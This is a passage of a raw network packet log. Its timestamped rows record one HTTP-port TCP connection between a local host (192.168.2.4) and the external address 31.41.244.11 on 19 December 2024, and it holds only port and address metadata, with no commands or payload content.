Dec 19, 2024 06:09:12.894967079 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.895030975 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.895101070 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.895174026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.895942926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.895993948 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.896059036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.896114111 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.896956921 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.897011995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.897073984 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.897130966 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.897866011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.897921085 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.897927999 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.897984028 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.898848057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.898907900 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.898977041 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.899033070 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.899835110 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.899884939 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.899962902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.900017977 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.900837898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.900891066 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.900895119 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.900949955 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.901751995 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.901849031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.901854038 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.901904106 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.902730942 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.902787924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.902854919 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.902909994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.903743982 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.903800011 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.903855085 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.903908014 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.904679060 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.904736996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.904805899 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.904861927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.905659914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.905729055 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.905782938 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.905844927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.906687021 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.906738997 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.906821966 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.906877995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.907618046 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.907672882 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.907726049 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.907789946 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.908571005 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.908627033 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.908689976 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.908745050 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.909575939 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.909646988 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.909699917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.909750938 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.910552025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.910609007 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.910641909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.910696030 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.911576033 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.911638021 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.911685944 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.911737919 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.912486076 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.912544966 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.912612915 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.912671089 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.913461924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.913520098 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.913587093 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.913640976 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.914436102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.914489985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.914542913 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.914593935 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.915380955 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.915435076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.915493011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.915541887 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.916403055 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.916460037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.916466951 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.916520119 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.917391062 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.917444944 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.917494059 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.917552948 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.918317080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.918374062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.918438911 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.918493032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.919302940 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.919362068 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.919409990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.919466019 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.920265913 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.920321941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.920391083 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.920461893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.921230078 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.921287060 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.062330008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.062473059 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.062524080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.062577963 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.062798977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.062855005 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.062947035 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.063005924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.063766956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.063817978 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.063873053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.063929081 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.064745903 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.064805031 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.064858913 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.064920902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.065691948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.065752983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.065813065 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.065871000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.066672087 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.066745996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.066797972 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.066855907 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.067648888 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.067708015 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.067734003 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.067787886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.068619013 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.068675041 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.068742990 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.068797112 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.069622040 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.069725990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.069740057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.069792032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.070579052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.070636034 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.070703983 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.070759058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.071548939 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.071620941 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.071671009 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.071724892 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.072494030 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.072551012 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.072619915 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.072679043 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.073533058 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.073585987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.073637962 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.073689938 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.074570894 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.074635983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.074652910 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.074702024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.075440884 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.075499058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.075567007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.075622082 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.076417923 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.076472998 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.076514959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.076570988 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.077398062 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.077452898 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.077522993 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.077579975 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.078360081 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.078414917 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.078483105 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.078536987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.079345942 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.079397917 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.079467058 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.079519987 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.080302000 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.080403090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.080415964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.080468893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.081351042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.081403017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.081485033 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.081538916 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.082274914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.082333088 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.082403898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.082457066 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.083281994 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.083355904 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.083414078 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.083466053 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.084194899 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.084244967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.084336042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.084391117 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.085181952 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.085241079 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.085302114 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.085351944 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.086133957 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.086193085 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.086262941 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.086317062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.087126970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.087183952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.087243080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.087296963 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.088114977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.088171005 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.088236094 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.088290930 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.089066029 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.089122057 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.089191914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.089246035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.090049982 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.090107918 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.090162992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.090218067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.091017962 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.091092110 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.091185093 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.091242075 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.092003107 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.092058897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.092089891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.092160940 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.092957973 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.093014002 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.093100071 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.093154907 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.093939066 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.093992949 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.094059944 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.094115019 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.094914913 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.094974995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.095029116 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.095081091 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.096013069 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.096074104 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.096137047 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.096195936 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.096868992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.096925974 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.096997023 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.097054958 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.097834110 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.097892046 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.097960949 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.098012924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.098831892 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.098890066 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.098957062 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.099011898 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.099826097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.099884033 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.099905014 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.099957943 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.100816011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.100872040 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.100938082 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.101036072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.101730108 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.101788044 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.101874113 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.101931095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.102714062 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.102773905 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.102822065 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.102879047 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.103683949 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.103743076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.103792906 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.103848934 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.104655981 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.104712963 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.104768038 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.104824066 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.105617046 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.105673075 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.105730057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.105784893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.106632948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.106688023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.106756926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.106812000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.107615948 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.107671022 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.107738018 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.107795954 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.108572006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.108628035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.108710051 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.108764887 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.109534025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.109587908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.109669924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.109725952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.110507965 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.110569000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.110644102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.110697031 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.111520052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.111613989 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.111619949 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.111680031 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.112454891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.112514019 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.112565041 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.112622023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.113379002 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.113432884 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.254513025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.254589081 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.254664898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.254717112 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.255037069 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.255101919 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.255239010 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.255300045 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.256031036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.256100893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.256180048 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.256231070 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.256956100 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.257020950 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.257078886 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.257129908 CET	49763	80	192.168.2.4	31.41.244.11
